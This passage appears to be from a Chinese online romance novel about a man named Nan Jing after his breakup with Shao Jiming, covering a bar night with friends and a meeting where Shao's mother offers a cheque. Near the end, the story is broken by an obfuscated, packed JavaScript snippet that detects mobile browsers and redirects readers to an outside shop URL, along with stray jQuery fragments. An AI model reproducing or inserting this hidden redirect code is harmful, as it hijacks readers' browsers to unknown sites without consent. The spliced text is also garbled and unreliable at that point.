意味着早晨再也没有恰到好处的咖啡温度,意味着衬衫可能会皱巴巴地出现在重要场合,意味着深夜回家只有一室冷寂黑暗,意味着再也没有人能在他下意识喊出某个物品时,准确无误地从某个角落找出来……意味着,他过去六年乃至更久以来,那份近乎惰性的、被精心呵护的“舒适区”,将彻底崩塌。 不,不仅仅是这些。 记忆的闸门被痛苦和恐慌蛮横地冲开,不再是他可控的、平淡的叙事。无数画面不受控制地奔涌而来,带着被他长期忽略的温度和细节。 他想起大学时,南景总是“恰好”出现在他常去的篮球场边,递来一瓶水,笑容干净。想起后来在一起后,南景会在他熬夜赶论文时,默默煮一碗面放在他手边。想起毕业那会儿,他因为家里压力焦头烂额,是南景安静地陪着他,一遍遍说“没事,慢慢来”。想起他第一次带南景去那套别墅,南景眼里亮起的光,和之后一点点将这个空旷房子变成“家”的每一个细小举动——挑选的窗帘颜色,养活的绿植,沙发上柔软的毯子,厨房里渐渐增多的他爱吃的食材…… 还有身体。那些温暖的、紧密的纠缠。南景的体温,他颈间清爽的气息,他情动时眼尾泛起的红,他忍耐时咬住的下唇,他释放后疲惫而依赖地蜷进他怀里的姿势……那不是“习惯”能解释的生理反应。如果他真的只是“习惯”和“省心”,怎么会默许甚至渐渐期待这些亲密?怎么会记住南景在那些时刻每一个细微的表情和反应? 如果不喜欢,又怎么会因为“习惯”和“省心”就在一起六年? 那些被他刻意淡化的“喜欢”,那些被“合适”、“稳定”、“习惯”等理智词汇掩盖的心动瞬间,争先恐后地浮现出来。初见时,阳光下南景投篮后撩起汗湿的额发,那个侧影曾让他晃神;南景因为他一句无心的夸赞,悄悄练习了很久那道菜;南景在他生病时整夜守着,眼里是的担忧…… 他不是没有感觉。他只是……害怕。 恐惧的源头,是六年前那个混乱的夜晚。那杯下了药的酒,是南景递给他的。 他对南景的隔阂,根源就在那里。 是那杯酒,开启了他们之间纠缠不清的关系。一切始于一场不洁的的“意外”。这让他如何能全身心信任这段关系的纯粹?如何能毫无芥蒂地投入所谓的“爱情”?他潜意识里将南景和那场不愉快的开端捆绑在一起,用“习惯”和“省心”来定义关系,或许是一种自我保护,一种避免再次陷入那种失控和被动境地的心理防御。 他告诉自己,这样就好,平稳,安全,无需付出太多情感,也就不会受伤。他忽略了南景在漫长的时光里,用无数的细节和坚持,一点点试图融化那层冰,试图用真正的温暖覆盖最初的冰冷记忆。 8. 插曲结束 南景推开酒吧厚重的隔音门,重新将自己投入那片温暖、喧嚣、光影流转的嘈杂之中。他穿过晃动的人影和弥漫的烟酒气,走回角落的卡座。脚步平稳,甚至对几个投来目光的朋友点了点头,嘴角还挂着笑。 周冉几乎是立刻就从座位上弹起了半边身子,像只警觉的猫,目光迅速在他脸上扫视,试图找出任何崩溃或泪痕的迹象。“南小景,没事吧?” 南景在她身边坐下,他抬手,似乎想松一松领口,指尖却在触碰到纽扣时顿了顿,转而拿起面前那杯还没动过的威士忌。他喝了一口,才抬起眼,对周冉笑了笑。那笑容很轻,浮在表面,未达眼底,但足够平静。“没事,”他说,声音在嘈杂的背景音里显得有些飘,“能有什么事儿。” 一直留意着门口动静的秦朗,将南景这一系列细微的动作——那顿住的指尖,那急于用冰冷酒精寻求镇定的吞咽,那过于平静反而显得刻意的笑容——尽收眼底。他心里咯噔一下,得,自家那个不争气的表弟,看来是彻底把人伤透,没留半点余地了。他暗暗摇头,面上却丝毫不显,反而扬起一个灿烂到有些过分的笑容,身体前倾,隔着小小的茶几,主动朝南景举了举杯。 “失恋嘛,多大点事儿,谁年轻时没遇上几个不开眼的?”秦朗语气轻松,“倒是南景,久闻大名啊!可惜我一直国外瞎忙,没机会认识。正式介绍一下,秦朗,冉冉的……嗯,追求者兼头号损友。”他眨眨眼,特意补充,“外面那个姓邵的,我跟他不熟,真的,血缘关系都快被我单方面解除了。” 周冉从鼻子里哼出一声,丢给他一个“算你识相”的白眼。“秦朗,你这人吧,也就只有不犯贱、不讨人嫌的那零点零一秒,勉强能看。”她毒舌道,嘴角却隐隐有要翘起的趋势。 “嘿嘿!”秦朗立刻顺杆爬,笑容扩大,露出一口白牙,“这么小众、这么隐蔽的优点都能被您老发现?冉冉,你这洞察力,不去搞刑侦真是屈才了!” 南景看着他们一来一往,脸上那层浮冰般的笑容终于化开些许。他晃了晃杯子,慢悠悠地拆台:“是没听冉冉提过。她一般提到谁,都是用‘那个傻X’、‘那个奇葩’代称的。”他转向秦朗,眼神里带着点探究的戏谑,“不知道秦先生,属于哪一类?” 秦朗笑容一僵,夸张地捂住心口,做出一副中箭受伤的样子:“额……这个……”他哀怨地看向周冉,眼神控诉:你平时就这么介绍我的? “哈哈哈!”周冉毫不客气地大笑起来,甚至兴奋地拍了拍南景的肩膀,竖起一个大拇指,“干得漂亮南小景!一击必杀!”笑完了,她眼珠子一转,重新摸出手机,手指在屏幕上噼里啪啦一顿操作,嘴里念念有词,“不行不行,旧的不去新的不来,氛围得搞起来!来,姐给你现场发掘优质资源,找个……嗯,找个小骚包调剂一下心情!” 她飞快地发了条信息,几乎立刻,手机就“嗡嗡”震动了一下。周冉眼睛一亮,献宝似的把手机凑到南景面前,拇指悬在语音播放键上,神秘兮兮地说:“来来来,听听,声线绝对独特,保证让你忘记烦恼!” 在众人好奇的目光注视下,她按下了播放键。 一个被刻意拔高、矫揉造作到极致的男声瞬间从扬声器里炸开,穿透了酒吧不算太吵的背景音乐,尖声细气地喊道:“啊~~人家不要当男人啦!我要来大姨妈!我要痛经!我要情绪不稳定!我要买包!!!” 语音播放完毕。 卡座陷入了一片诡异的死寂。罗鸣手里的骰盅停在了半空,司南刚塞进嘴里的薯片忘了嚼,连旁边路过端酒的服务生都脚下一个趔趄。 众人脸上整齐划一地出现了“ ̄□ ̄||”的表情。 周冉脸上的得意笑容凝固、碎裂,然后迅速被尴尬、震惊和“这什么鬼”的复杂神色取代。她飞快地收回手机,像是握着一块烫手山芋,干咳两声,眼神飘忽:“咳咳咳……那什么,意外,纯属意外!手滑,发错人了!对,排话剧,角色需要!理解一下,艺术!” 司南这时候才把嘴里的薯片囫囵咽下去,拍了拍胸口,小心翼翼地问:“冉、冉姐……我刚刚好像听见了什么不得了的东西……感觉后脖颈凉飕飕的……” 周冉一巴掌轻轻拍在他后脑勺上:“小孩子家家的,不该问的别问!耳朵闭上,这段记忆格式化!” “噗”秦朗第一个没忍住,肩膀耸动,闷笑出声。 南景看着周冉那副恨不得原地挖洞的窘样,再想起刚才那石破天惊的语音,一直堵在胸口的沉郁之气,忽然就被这荒谬的一幕冲开了一道口子,笑意从眼底泛起,最终化为低低的笑声,从喉咙里逸了出来。起初只是轻笑,随即和秦朗的笑声混在一起,越来越响,最后演变成难以抑制的、带着释然和畅快的大笑。 “哈哈哈……!” “你还笑!你还笑!”周冉恼羞成怒,作势要去掐南景,脸上却也跟着绷不住,笑骂起来,“我这不是用心良苦吗!我是告诉你,心里别老装着个男人,堵得慌!但没让你身边一个男人都不要啊!喜欢的人,放床上就行了嘛!放心里?那多耽误正事儿啊!影响拔刀的速度懂不懂!”她越说越激动,一巴掌拍在桌子上,震得杯碟哐当作响。 秦朗趁着她“教育”南景的间隙,立刻抓住机会,厚着脸皮把身体凑得更近,几乎要贴到周冉手臂上,压低声音,用那种带着磁性又故意拖长的调子说:“那……冉冉,你把我放心里呗?我保证,只要你心里给我留个缝儿,我自己就能找准位置,爬上去稳稳躺好,绝对不耽误你拔刀的速度。必要的时候,”他眨眨眼,意有所指,“我还能帮你递刀呢。” 周冉猛地扭过头,瞪圆了眼睛看着近在咫尺的俊脸,那表情仿佛在看一个突然学会说人话的哈士奇,震惊中带着浓浓的嫌弃和不可思议。 “我呸!”周冉一巴掌拍开秦朗凑近的俊脸,力道不轻,发出清脆的“啪”一声,“秦朗你那张脸是租来的吗?用起来这么不心疼?还自己爬床?信不信我现在就打电话给防疫站,说这里有只成精的癞皮狗急需人道处理?” 她边说边做出掏手机的架势,脸上嫌弃的表情夸张到扭曲,但眼底那一丝没憋住的笑意出卖了她。她重新坐稳,抱起手臂,上下打量秦朗,像在评估一件不太靠谱的商品:“把你放心里?我怕我心脏骤停。还自己爬床?我床底下放着捕鼠夹和蟑螂药,专治各种不安分瞎爬的生物,你想试试疗效?” 秦朗捂着被拍红的脸颊,非但不恼,反而笑得更荡漾。他顺势往后一靠,翘起二郎腿,摆出个自认风骚的姿势:“哎呀,打是亲骂是爱,冉冉你这爱的表达真是越来越热烈了。捕鼠夹蟑螂药多不环保,我推荐你用我,纯天然无公害,还能自动暖床,附带按摩功能,终身保修。” “终身保修?”周冉斜睨他,从鼻子里哼出一声,“我看是终身碰瓷吧?你这型号一看就是故障率高、售后差、还容易引发使用者心律不齐的劣质产品。退!货!” “别啊!”秦朗立刻做西子捧心状,眼神哀怨,“出厂设置就这样了,退不了货。不过我可以升级服务套餐,比如,‘随叫随到呼噜声静音模式’、‘自动烹饪投喂功能’、‘专属人形ATM兼保镖模块’……怎么样?考虑一下?首年免费试用哦亲!” 旁边看戏的罗鸣和司南已经笑趴在桌上,司南擦着眼角笑出的泪花:“朗哥,你这推销词……不去直播带货真是屈才了!” 南景也忍不住跟着笑起来,刚才外面带来的那点沉重气氛,被周冉和秦朗这毫无章法的插科打诨冲散了不少。 周冉被秦朗这没脸没皮的劲儿弄得哭笑不得,最终翻了个巨大的白眼,挥挥手像赶苍蝇:“试用期负一万年!再废话我真叫保安了!” 秦朗精准地捕捉到了那零点一秒的笑意,心里跟明镜似的,知道今天这“曲线救国”的胡搅蛮缠战术算是初步奏效,至少把气氛搅活了,没让南景沉浸在低气压里。他见好就收,不再穷追猛打,转而举起酒杯,对着卡座里的众人,尤其是南景,朗声道:“行行行,我闭嘴,我喝酒。来来来,都举杯!庆祝……庆祝咱们冉姐和南景兄弟凯旋归来!旅途愉快,旧的不去新的不来,是吧南景?” 他这话说得巧妙,既避开了直接提邵既明和分手,又暗含了安慰和祝福。南景听懂了,举起杯,和周冉的杯子轻轻一碰,又向秦朗和其他人示意,唇角带着释然的笑意:“谢谢。” 玻璃杯碰撞发出清脆悦耳的声响,酒吧的音乐恰好切换到一首节奏明快的曲子,灯光流转,将这一角小小的卡座映照得暖意融融。外面的世界或许还有寒风,但此刻这里,喧闹、鲜活、充满没心没肺的快乐和毫不掩饰的关心,像一个小小的堡垒。 周冉一口闷掉杯中酒,豪气地放下杯子,一拍桌子:“就是!旧的不去,新的不来!下一个更乖,下一个更帅,下一个……八块腹肌会撒娇!”她眼珠子一转,又盯上了旁边吃瓜看戏的司南,“司南!别光顾着笑,你那‘永动机’男朋友呢?叫出来一起玩啊!让我们也见识见识,到底是什么样的神仙人物,能让我们司南小朋友又爱又恨,天天喊着分手又分不掉!” 司南瞬间从看戏模式切换成羞愤模式,脸红得像煮熟了的虾子,扑过来就要捂周冉的嘴:“冉姐!你、你不讲武德!说好保密的!” “哈哈哈!保什么密!独乐乐不如众乐乐!”周冉一边躲闪一边笑。 秦朗瞥了一眼窗外露天区,那个高挺却僵硬的身影依旧戳在冷风里。他叹了口气,收回目光。感情这玩意儿,旁人再怎么着急上火,正主自己想不通,说什么都是耳边风。他敛了心思,重新挂上那副玩世不恭的笑脸,融入卡座里重新升温的嬉闹。 又玩了几轮游戏,喝空了几个酒瓶,南景起身,指了指洗手间的方向,暂时离席。他刚走没一会儿,一直乖乖窝在角落里、脸蛋红得像熟透苹果的司南,忽然迷迷瞪瞪地眨了眨眼,像是被什么秘密憋得难受,手脚并用地蹭到周冉和秦朗中间,左右看了看,神秘兮兮地压低了声音,带着浓浓的酒气:“冉姐,朗哥……我跟你们说个秘密哦,南景都不知道的……你们要保证,千万千万不能告诉他!” 周冉和秦朗对视一眼,都从对方眼里看到了“有八卦”三个字。两人默契地同时俯身,凑近司南,形成一个隐秘的小圈子。“说,姐的嘴,钢筋焊的。”周冉保证。“我专业保密三十年,信誉有口皆碑。”秦朗一本正经地胡诌。 司南满意地点点头,又警惕地看了眼洗手间方向,才用气声,断断续续、添油加醋地描述起来。几分钟后,周冉和秦朗直起身,表情都有些微妙。周冉是憋笑憋的,秦朗则是摸了摸下巴,眼里闪过一道精光。 恰好这时,南景从洗手间回来,额前的碎发有些湿,似乎用冷水冲了把脸,眼神清明了许多。“差不多了吧?明天还有事儿。”他对周冉说。 秦朗立刻接话,站起身,顺手拿起外套:“是啊,不早了,明天还得继续当资本家卖命呢。小冉,走吧?” “哎,走。”周冉也利落地抓过自己的小包,站了起来。 “罗鸣,我们先撤了,你们继续。”南景对卡座里剩下的朋友招呼。 “这就走了?再玩会儿呗,夜生活才刚开始!”罗鸣起身挽留。 “真不了,下次再聚。”南景笑了笑,婉拒道。 “行吧,那路上小心,到了在群里说一声。”罗鸣也不强求。 “知道了。” 三人走出酒 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司南被这声音吓得一个激灵,差点跳起来,迷蒙的醉眼循声望去,看清来人后,非但没怕,反而“嘿嘿”傻笑起来,指着男人,大着舌头对周冉说:“冉、冉姐!看!就是他!陈序!那个永动机!我、我就是要跟他分手!必须分!” 名叫陈序的男人脸色更冷了几分,迈开长腿几步走到他们面前,带着一股迫人的低气压。他先是伸手,将司南从南景身侧“摘”了下来,动作看似粗暴,实际上控制着力道,没弄疼司南,只是彻底隔开了他和南景的距离。然后,他才垂眸,看着怀里还在嘟囔“分手”的小醉鬼,从牙缝里挤出几个字:“你要和谁分手?” 喝高了的司南天不怕地不怕,梗着脖子:“当然是和陈序分手啊!狗东西!一天到晚就知道欺负我!种马都没他那么能做!天黑了做到天亮,天亮了还要加班!他肯定背着我吃药了!冉姐说的对,大烧杯!必须分!” 周冉在陈序目光扫过来的瞬间,就极其丝滑地、不着痕迹地后退了两步,站到了秦朗侧后方,脸上瞬间切换成“与我无瓜”、“我是路人”、“你认错人了”的三连表情包,眼神飘向别处,仿佛对路边霓虹灯牌上的小广告产生了浓厚兴趣。陈序身上那股几乎凝成实质的“杀气”,让她觉得此刻还是降低存在感比较安全。 陈序看着司南那副义愤填膺又口无遮拦的样子,怒极反笑,只是那笑容冷得能掉冰碴子。他手臂一收,将司南牢牢箍在怀里,低头,几乎贴着司南通红的耳廓,声音压得极低,却足够让旁边几人听清:“好啊。我们回家,慢慢说,分手的事。” 司南被他气息一喷,缩了缩脖子,但酒劲上头,还在嘟囔“回家就回家,谁怕谁”,身体却已经习惯性软绵绵地靠在了陈序身上,还不忘回头,冲周冉和南景挥了挥爪子,口齿不清地喊:“冉姐拜拜!南景拜拜!朗哥拜拜!下次再约哦!” 陈序不再多言,半抱半扶地将司南塞进了副驾驶,系好安全带,然后自己绕回驾驶座。车门关闭,引擎发出一声低沉的嗡鸣,黑色轿车如来时一般悄无声息地汇入车流,只留下一点尾灯的红光。 “啧啧,”周冉这才从秦朗背后探出头,拍了拍胸口,一脸心有余悸又八卦之火熊熊燃烧的表情,凑到南景身边,用手肘捅了捅他,压低声音,“南小景,什么情况?刚才那陈序看你的眼神,啧啧,我鸡皮疙瘩都起来了。要是眼神能杀人,你估计已经被凌迟八百遍了,渣都不剩。” 南景看着车子消失的方向,无奈地摇了摇头:“陈序?大概是知道司南刚上大学那会儿,追过我来着吧。陈年旧事了,他醋劲儿一直不小。”他的目光平静地扫过街景,自始至终,半分也没有分给旁边那个一直沉默伫立、几乎要融进夜色背景板里的人。 “哈哈哈!”周冉乐了,挽住南景的胳膊,“精彩,真精彩!果然,互联网外面的世界也很魔幻嘛!行了,插曲结束,咱们赶紧叫车,这外面怪冷的。”她又掏出手机。 “冉冉,”秦朗适时开口,指了指路边另一辆不知何时悄然停稳同样价值不菲的轿车,他的司机正站在车边等候,“我送你们吧。这大晚上的,男孩子和女孩子在外面,都要注意安全。看,我司机的车都到了,顺路,一脚油的事儿。” 周冉脸上的笑容瞬间收得干干净净,她转过身,抱着手臂,微微仰起下巴,用一种极其冷静的目光,上下打量着秦朗,那眼神明确地传达着“不、需、要、你、多、事”的信息。 秦朗被她看得心里发毛,脸上的笑容有点挂不住,举起双手做了个投降的姿势,语气放软,带上点委屈:“冉冉,别用这种眼神看我……我害怕。我真没别的意思,就是顺路送送,保证送到就走,不停留,不废话!” 周冉没理他,正好一辆亮着“空车”灯的出租车驶来,她立刻抬手,利落地拦下。车子停稳,她拉开后座车门,示意南景先上。 南景点点头,弯腰准备上车。 “南景。”一直沉默如影子般的邵既明,终于在这时开了口。声音有些沙哑。 南景上车的动作顿了顿。他扶着车门,缓缓转过身,看向几步之外那个熟悉又陌生的男人。路灯的光在他脸上切割出明暗,他的表情很平静,没有厌恶,没有愤怒,也没有任何波动,就像看着一个偶然叫出自己名字的、不太熟的陌生人。 他看了邵既明两秒,然后,很轻地点了下头,算是回应。接着,他收回目光,弯腰坐进出租车后座,声音透过即将关闭的车门缝隙传来:“回去吧,邵既明。” 车门“砰”地一声关上,出租车司机利落地踩下油门,车子平稳地驶入车道,尾灯很快汇入城市夜晚永不熄灭的光河之中。 9. 狗血场面 后面几天,南景确实忙得像只高速旋转的陀螺。他办完了原公司的离职手续,交接干净。然后,便将自己彻底投入了“周冉御用私人理财经纪人”这个崭新的角色。宽敞的客厅临时变成了他的办公区,巨大的曲面屏显示器上闪烁着复杂的K线图和财务分析模型,旁边散落着写满笔记的便签和打印出来的行业研报。 周冉则像只慵懒的猫,占据着沙发最舒服的角落,抱着平板电脑,时而刷剧,时而探头看看南景屏幕上那些令人眼晕的数字和图表,啧啧称奇。手机震动,她瞥了一眼,是秦朗。撇撇嘴,还是接了起来,语气不算热络:“喂,秦总,日理万机还有空骚扰我这个闲散人员?” 电话那头传来秦朗带着笑意的声音:“哪敢说骚扰,我这是主动提供售后服务,关怀客户身心健康,顺便……考察一下投资环境。” “得了吧你,”周冉换了个更瘫的姿势,脚丫子翘在沙发扶手上晃悠,“黄鼠狼给鸡拜年。有屁快放,耽误我看我家南小景为我打江山。” 秦朗低笑两声,语气正经了些:“说真的,冉冉。南景那边,要是需要看什么项目,或者对市场有什么不清楚的,随时可以问我。别的不敢说,在万恶的资本家怎么用钱生钱、以及怎么尽量别被更大的资本家生吞活剥这方面,我还是有点心得。刚起步,谨慎点没坏处。” 周冉挑了挑眉,虽然嘴上不饶人,但心里知道秦朗这话是实实在在的好意。南景虽然专业能力过硬,但毕竟之前更多是理论研究和规范操作,真正手握大笔资金、在更复杂的环境里独立操盘,经验和人脉确实需要积累。有秦朗这个在资本市场摸爬滚打多年的老油条偶尔点拨,能避开不少坑。 “啧啧啧,”她嘴上却不松,故意拉长了调子,“听听,这扑面而来的资本家铜臭味和居高临下的优越感。秦总,您这算不算降维打击,欺负我们刚出社会的小屁孩啊?” “这怎么能叫欺负?”秦朗喊冤,声音里却满是笑意,“这叫前辈对后辈的殷切关怀,是资本市场爱的传递。再说了,帮你,不就是帮南景?帮南景,不就是……” “打住!”周冉立刻截断他后面可能冒出来的肉麻话,翻了个白眼,尽管对方看不见,“少来这套。心意……嗯,勉强领了。有需要会敲诈你的,准备好钱包就行。” “随时恭候。”秦朗从善如流。 两人又斗了几句嘴,主要是秦朗见缝插针地“推销”自己,周冉左挡右防。正说着,坐在电脑前的南景手机响了。他看了一眼来电显示,拿起手机,走到了靠近阳台的落地窗边,才接起。 “喂,您好。” 周冉一边敷衍地听着电话里秦朗还在叨叨“最近有个新能源的趋势不错”,一边目光不自觉地跟着南景。她看见南景接起电话后,背脊似乎微微绷直了一瞬,听着电话那头说了什么,他长时间地沉默着,侧脸在窗外透进来的天光下,显得有些模糊,看不清具体表情,但那种静止本身就透出一种不寻常。 然后,她看见南景很慢、很轻地说了句:“……好,我知道了。时间地点发到我这个手机上吧。再见。” 电话挂断。南景依旧握着手机,站在窗边,望着外面高楼林立的城市景观,一动不动。午后的阳光有些惨白,将他修长的身影投在光洁的地板上,拉得很长,透着一种孤清的意味。 周冉心里咯噔一下,“南小景?”她从沙发上坐直身体,“怎么了?谁的电话?” 南景这才缓缓转过身,走回客厅中央。他把手机放在堆满文件的桌上。然后,他抬起眼,看向周冉,目光有些复杂。 “邵既明的母亲,约我见面。” “什么?!”周冉几乎是弹了起来,“邵既明他妈约你见面?她想干嘛?她儿子没断奶吗?分手了还要家长出来擦屁股?还是嫌你当年高攀了她宝贝儿子,现在要来落井下石、再踩两脚?!” 她几步冲到南景面前,像是要确认他是否在开玩笑。“你答应了?!南景你疯了?!见她干嘛?给她机会摆谱还是听她那些狗屁不通的为你好?不准去!” 而电话那头,被骤然挂断的秦朗,听着听筒里传来的忙音,那句“邵既明他妈约你见面?”的惊呼仿佛还残留在他耳膜上。他握着手机,站在自己办公室的落地窗前,望着楼下蚂蚁般大小的车流,眉头紧紧锁了起来,脸色瞬间沉了下去。 糟了。他心想。他那拎不清的小姨,这个时候跑去添什么乱?这不是火上浇油吗?南景现在对邵家,恐怕是半点好感都欠奉,姑姑那强势又现实的作风…… 秦朗揉了揉突突直跳的太阳穴,立刻回拨周冉的电话。忙音。再拨,还是忙音。估计那丫头正在气头上,或者拉着南景紧急开会备战呢。 他烦躁地解开领口一颗纽扣,走到办公桌前,手指在光洁的桌面上无意识地敲击着。得想个办法。不能让姑姑真把局面搞到无可挽回。至少,他得知道见面时间地点,万一……万一出了什么不可控的状况,他得能及时赶到。 一家位于市中心高层、视野极佳的会员制咖啡厅内,空气里弥漫着顶级咖啡豆的醇香和低调的香水味,背景流淌着古典钢琴曲,一切都彰显着一种昂贵的静谧与距离感。 周冉跟着南景走进预定好的半封闭卡座时,目光先落在了对面那位女士身上。那是一位保养得极好的中年女人,她坐姿端庄,正用小银匙缓缓搅动着面前的骨瓷杯,动作优雅。眉眼间,与邵既明确有三分相似,尤其是那股子浸润在骨子里的疏离感。 随即,她的视线瞥见了坐在那女人侧后方、正朝她挤眉弄眼的秦朗。秦朗今天穿了身颇为正式的深色西装,没打领带,领口随意松着,靠在椅背里,手里也端着杯咖啡,但怎么看都与这严肃的氛围有点格格不入。 周冉用眼神飞过去一个清晰的问号:你来凑什么热闹? 秦朗接收到信号,立刻用口型无声回复,配合着挑眉和指向她自己又指向南景的手势:保驾护航。 周冉毫不客气地翻了个白眼,转过头,懒得再理他。她挨着南景坐下,脊背挺得笔直。 南景坐在秦凌萱对面,神情平静,甚至称得上温和有礼。 侍者悄无声息地为他们送上柠檬水,又悄然退开。 秦凌萱放下银匙。她抬起眼,目光平静地落在南景脸上,那是一种带着居高临下包容感的视线。 “南景,是吧?”她开口,声音温和,语调不疾不徐,“听既明提起过你。你们在一起,有六年了吧?” “是的,阿姨。”南景迎着她的目光,“六年了。” 秦凌萱微微颔首,端起咖啡杯,轻轻啜饮了一口。“时间不短。你们这个年纪的男孩子,谈谈恋爱,经历一些感情,都是很正常的。”她放下杯子,目光在南景和周冉之间轻轻一扫,最后重新定格在南景身上,“不过,人总归要回归现实,要成家立业,承担起该承担的责任。” 她顿了顿,才继续道:“我们家里,已经为既明物色好了合适的结婚对象,家世、学历、品貌,都是顶配的,也很懂事。”她话锋看似随意地一转,“听说,你最近从既明的别墅搬出去了?” 南景放在桌下的手指,蜷缩了一下,但脸上依旧没什么表情。心底却掠过荒诞的凉意。所以,如果他不是先一步提了分手,那么接下来等待他的,大概就是邵既明某天回家,平静地通知他“家里安排了结婚对象,我们到此为止”吧?这算不算……某种意义上的阴差阳错,自己救了自己一把? “是的,阿姨。我已经搬出来了。” “嗯,搬了也好。”秦凌萱像是得到了一个满意的答案,“年轻人闹闹脾气,分开冷静一下,对彼此都好。说句实在话,你跟我们家既明,方方面面,确实不太合适。既明他,终究是要结婚生子,延续家业的。他会找一个……” 她的视线这次明确地落在了周冉身上,虽然带着礼貌的打量,但那种评估货物般的意味让周冉瞬间炸毛。“像你身边这位小姐一样,家世清白、样貌出众、未来能安心相夫教子的好女孩。” “哎,这位大婶。”周冉立刻坐不住了,“您这话说的可就不对了。他找我这样的,和找南景这样的,本质上没区别。因为,”她一字一顿,清晰地说道,“我,没有结婚的打算。现在没有,以后,大概率也不会有。” 秦凌萱显然没料到会得到这样直接又“离经叛道”的回答,眉头一皱,但很快恢复如常,“小姑娘,年轻气盛,说这些话可以理解。但女人嘛,早晚都是要结婚生孩子的,相夫教子才是正道。我们邵家,是绝不可能接受既明跟一个男人过一辈子的。那成什么体统?” “那可真是不好意思了,”周冉扯出一个皮笑肉不笑的表情,语气又甜又呛,“我不但没打算结婚,更没打算生孩子。您要是想给您儿子找个会下蛋的,我建议您去郊区转转,那边养鸡场多,老母鸡个个都是下蛋能手,包您满意,还能批量生产。” “噗——咳咳咳!”一直努力降低存在感、假装喝咖啡的秦朗,终于没忍住,一口咖啡呛在喉咙里,捂着嘴闷咳起来,肩膀剧烈抖动,脸都憋红了。 就连一直努力维持表面平静的南景,嘴角也控制不住地向上弯起,他迅速低下头,但微微耸动的肩膀还是泄露了他此刻憋笑憋得有多辛苦。 “你……!”秦凌萱保养得宜的脸上终于出现了一丝裂痕,优雅从容的表情被恼怒取代,她瞪着周冉,胸口微微起伏,显然被这粗俗又犀利的比喻气得不轻。 “阿姨,”南景适时抬起头,脸上已恢复平静,只是眼底还残留着一丝未散尽的笑意微光,他将话题拉回正轨,“我想您可能有些误会。我和邵既明,已经正式分手了。他将来是要结婚,还是要……找人下蛋,都与我无关了。我尊重他的任何选择。” “什么?分手了?”秦凌萱这次是真的惊讶了,她仔细打量着南景的表情,似乎在判断他话里的真假,“可是前天既明回家吃饭,我问他,他还说你们在一起,只是你最近有点忙……” 南景心底那点荒诞感更重了。邵既明到底在想什么?是觉得没必要向家里汇报,还是……他自己根本就没接受“分手”这个事实?他无声地吸了口气,斩钉截铁地重复:“我跟他,已经说得很清楚了。我们确实分手了,就在一个多月前。或许……他还没跟家里沟通好吧。” 秦凌萱看着南景坦然清澈、不带丝毫赌气或留恋的眼神,终于意识到这可能不是气话,也不是欲擒故纵。她的脸色变幻了几下,惊讶退去。 然后,她恢复了那副雍容的姿态,她从随身那只价值不菲的手提包里,取出一个精致的支票夹,打开,用戴着翡翠戒指的手指,从里面抽出一张事先填好的支票,动作轻缓地推到南景面前的桌面上。 “既然这样,”她的声音恢复了最初的平和,甚至带上了一点施舍般的宽容,“这六年,也算耽误了你一些时间。这个,就当是给你的补偿吧。毕竟,你跟了既明一场,我们邵家,也不是不讲情理的人家。” 那张薄薄的支票,静静地躺在深色的胡桃木桌面上,上面的数字不小,足够一个普通人潇洒很久。 周冉的眼睛瞬间瞪圆了,瞳孔里闪烁着一种“卧槽小说剧情照进现实了”的兴奋光芒。她立刻低头,开始在自己那个小挎包里翻找起来,窸窸窣窣,嘴里还小声嘀咕着“哪儿去了……肯定有……” 几秒钟后,她终于从包底摸出一个东西,“啪”地一声,清脆地拍在秦凌萱推过来的那张支票旁边。 是一枚面值一元的硬币。在奢华的咖啡桌上,在巨额支票旁边,显得格外寒酸,又格外刺眼。 周冉拍了拍手,扬起下巴,脸上露出一个无比真诚的笑容,声音清脆地说:“看着邵既明服务一场,我们南景也不能让他白出力不是?这钱您收好,算是给他的辛苦费和技术指导费。不用找了,剩下的,就当给他的小费,买点补品,毕竟……六年呢,也挺耗神的。” 空气瞬间凝固了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046460|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 钢琴曲似乎都停顿了一拍。 秦凌萱的脸,以肉眼可见的速度,从白到红,再到青,最后定格在一片铁青。她瞪着桌上那枚硬币,又抬头看向笑容灿烂、眼神却冰冷挑衅的周冉,嘴唇哆嗦着,显然气到了极点,却一时之间,竟然找不到任何合适的、符合她身份的语言来反击。 秦朗已经彻底扭过头,脸埋进臂弯里,肩膀疯狂抖动,完全不敢看自家小姨现在的脸色,生怕再看一眼就会笑场,导致场面彻底失控。 南景看着那枚硬币,又看看周冉那副“我可真是个天才”的得意小表情,再看看秦凌萱精彩纷呈的脸色,心底最后那点因为这场荒谬会面而起的郁气和无奈,忽然间,烟消云散。 他甚至觉得,有点想笑。 “噗咳咳!咳咳咳!” 秦朗惊天动地的呛咳声,在死寂的卡座里显得格外突兀。他一手捂着嘴,咳得眼角泛泪,另一只手却悄悄在桌面下,用力拽了拽旁边周冉的衣角,力道带着明显的哀求:小祖宗,见好就收,真把我小姨气出个好歹,咱俩今天都别想竖着出去了! 周冉感觉到拉扯,扭头瞪他,眼神里写着“干嘛?我还没发挥完呢!”,但终究撇了撇嘴,没再乘胜追击,只是抱起手臂,下巴抬得老高,用鼻孔对着对面脸色铁青的秦凌萱,充分表达她的不屑一顾。 南景也迅速收敛了眼底那点笑意,重新端起面前的柠檬水,抿了一口,借冰凉的液体压下喉咙里的痒意,也让自己看起来更置身事外一些。 秦朗好不容易顺过气,抬起那张因为憋笑和咳嗽而有些泛红的脸,努力摆出一个和事佬的、带着点讨好意味的笑容,看向自己那位已经处于爆发边缘的小姨。 “哎哟,我的好小姨,您看您,跟两个小孩子较什么真儿啊?周冉这丫头,在国外野惯了,嘴上没个把门的,说话不过脑子,您大人有大量,别跟她一般见识。她这是……幽默,对,美式幽默!直来直去,没坏心眼的!” 